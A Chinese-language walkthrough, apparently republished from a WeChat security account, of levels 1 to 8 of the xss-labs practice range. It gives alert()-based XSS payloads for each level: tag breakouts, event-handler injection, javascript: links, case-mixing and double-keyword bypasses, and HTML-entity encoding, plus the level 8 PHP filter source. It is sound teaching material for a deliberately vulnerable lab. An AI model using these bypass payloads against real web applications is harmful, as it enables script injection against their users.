Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)

admin 2025年3月2日21:04:46评论13 views字数 2083阅读6分56秒阅读模式
Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)
Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)
免责声明
    文章内容仅限授权测试学习使用勿进行非法的测试或攻击,利用本账号所发文章进行直接或间接的非法行为,均由操作者本人负全责,云梦安全及文章对应作者将不为此承担任何责任。
    文章来自互联网或原创,如有侵权可联系我方进行删除,深感抱歉

XSS-lab-master

环境搭建

https://codeload.github.com/do0dl3/xss-labs/zip/refs/heads/master xss-labs下载地址

Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)
Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)
Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)

level1(无任何过滤)

1.进入第一关,查看页面显示的信息

url中有个name

2.根据XSS原理,注入恶意脚本,尝试注入payload

<script>alert("1")</script>

2 级

1.尝试注入payload

<script>alert("1")</script>

2.使用我们之前插入js代码也就是使用上一关的js代码进行测试,看是否弹窗,发现没有弹窗

3.检测页面元素:

代码确实已经写入,但是没有被执行 ![[粘贴的图像 20250302153601.png]]

<input>元素的 属性被视为普通文本,而不是 HTML 元素。因此,即使其中包含  标签,浏览器也不会将其解析为脚本并执行。value<script>

我们构造语句,闭合input标签,再进行攻击。

有效载荷:

keyword="><script>alert("XSS")</script>

level3(单括号+事件触发)

Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)

我们发现双引号被实体化了,意思就是不能添加双引号,那也就意味着,不能脱离这个输入标签,那么你只能添加新的属性

' onfocus=javascript:alert(123)//

复制

Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)

执行完之后点击文本框触发事件 ![[粘贴的图片 20250302155233.png]]

less4(双引号闭合+事件触发)

原理同上

" onfocus=javascript:alert() " onclick=javascript:alert('xss')//

![[粘贴的图像 20250302160711.png]]

less5(换标签)

用上一关payload试试

Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)

onclick和script标签都被过滤了,换个标签

有效载荷:

"> <a href=javascript:alert('xss')>xss</a>//
Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)

less6(大小写混合绕过)

Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)

源码分析:没有进行大小写过滤,所以我们可以通过大写脚本绕过过滤

有效载荷:
"> <sCript>alert()</sCript> <"

less7(双写绕过)

源码分析:都提换为空,所以采用双写绕过

Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)
"> <a hrehreff=javasscriptcript:alert()>x</a> <"

less8(编码绕过)

经过测试第八关发现,以上代码均无法进行执行

查看关卡部分源码:

解释

<?php  ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','&quot',$str6); echo'<center> <form action=level8.php method=GET> <input name=keyword  value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=添加友情链接 /> </form> </center>'; ?> <?php  echo'<center><BR><a href="'.$str7.'">友情链接</a></center>'; ?> <center><img src=level8.jpg></center> <?php  echo"<h3 align=center>payload的长度:".strlen($str7)."</h3>"; ?>

源码当中过滤了大量的关键字信息,这一关采取大小写和双写都无法绕过

使用编码绕过概念,就是将所有字符编码为HTML实体,进行绕过,将 javascript:alert('xss') 转化为实体字符

有效载荷:

&#32;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;</font>

原文始发于微信公众号(泷羽Sec-云梦安全):Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月2日21:04:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Web安全中的XSS攻击详细教学,Xss-Labs靶场通关全教程(建议收藏)(一)https://cn-sec.com/archives/3785776.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息